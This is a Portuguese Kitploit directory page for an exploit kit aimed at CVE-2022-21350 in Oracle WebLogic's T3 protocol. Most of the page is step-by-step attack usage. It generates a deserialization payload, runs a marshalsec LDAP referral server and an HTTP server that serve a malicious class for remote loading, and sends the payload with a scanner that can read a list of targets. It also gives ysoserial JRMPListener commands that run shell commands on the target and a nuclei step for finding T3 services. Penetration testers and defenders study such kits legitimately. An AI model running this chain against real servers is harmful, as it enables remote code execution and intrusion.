Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-21350 — Kit de exploração para CVE-2022-21350 que visa o protocolo T3 do Oracle WebLogic, com geração de payloads, servidores LDAP/HTTP e suporte a múltiplas versões do JDK. | Kitploit
Ferramentas/GitHubGitHub/hktalent/cve-2022-21350
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubhktalent/cve-2022-21350

CVE-2022-21350

Kit de exploração para CVE-2022-21350 que visa o protocolo T3 do Oracle WebLogic, com geração de payloads, servidores LDAP/HTTP e suporte a múltiplas versões do JDK.

Ver Repositório
333há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Por que dois PoCs? Um com com._51pwn.hktalent.CreatJar.main(args); é usado para criar a ferramenta de geração de payload mínimo. Após a criação, use o outro.

Executar CVE-2022-21350_powerBy_51pwn.jar para construir o payload com erro não afeta o uso do payload.

outros exp

root@kitploit:~
CVE_2020_2551
CVE_2020_2555
CVE_2020_2883
CVE_2020_14645
CVE_2020_14756
CVE_2020_14825
CVE_2020_14841
CVE_2021_2394
CVE_2022_21306
CVE_2022_21350

Como usar

1- gerar payload

root@kitploit:~
docker run -d -p 7001:7001 -p 8453:8453 -v $PWD/setDomainEnv.sh:/home/weblogic/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/setDomainEnv.sh hktalent/weblogic:12.2.1.4.0

java -cp CVE-2022-21350_powerBy_51pwn.jar com._51pwn.CVE_2022_21350.Main "t3://127.0.0.1:7001/" "ldap://docker.for.mac.localhost:1389/UpX34defineClass"

2- iniciar servidor ldap

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://docker.for.mac.localhost:8888/#UpX34defineClass' 1389

3- iniciar servidor http, para enviar arquivo de classe

root@kitploit:~
node httpServer.js

4- enviar payload

root@kitploit:~
py3 ../WeblogicScan.py --tags 21350 -r -v -u http://127.0.0.1:7001
# more
cat ../T3_ver.txt|awk '{print $1}'|py3 ../WeblogicScan.py --tags 21350 -r -v -s  

java -server -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=8453,server=y,suspend=n -Djava.compiler=NONE -cp ysuserial-0.9-su18-all.jar org.su18.ysuserial.exploit.JRMPListener 4444 CommonsCollections1 "ping 10.12.35.59"

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections1 "ping 10.12.35.59" java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "open /System/Applications/Calculator.app" >>/Users/51pwn/MyWork/TestPoc/JRMPListener.ser

Onde está o payload

root@kitploit:~
cat test.ser

Por que mensagem de erro de saída

Executar o erro não afeta a geração do payload e o efeito do payload Executar com erro não afeta a geração do payload nem o efeito do payload

Como atacar

root@kitploit:~
nuclei -duc -t ./network/detection/weblogic-t3-detect.yaml -l list.txt

ferramentas suportadas:

  • 1- versão do WebLogic
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 2- JDK < 1.8
  • 3- Servidor permite OOB

Como construir, mesclar jar

root@kitploit:~
cd lib3
# split 
py3 ../tools/splitTools.py -s wlfullclient_12.1.3.jar
# merge 
py3 ../tools/splitTools.py -m wlfullclient_12.1.3.jar

Agradecimentos especiais

  • <a href=https://github.com/lz520520>@lz520520
  • <a href=https://github.com/Y4er>@Y4er
Baixar ferramenta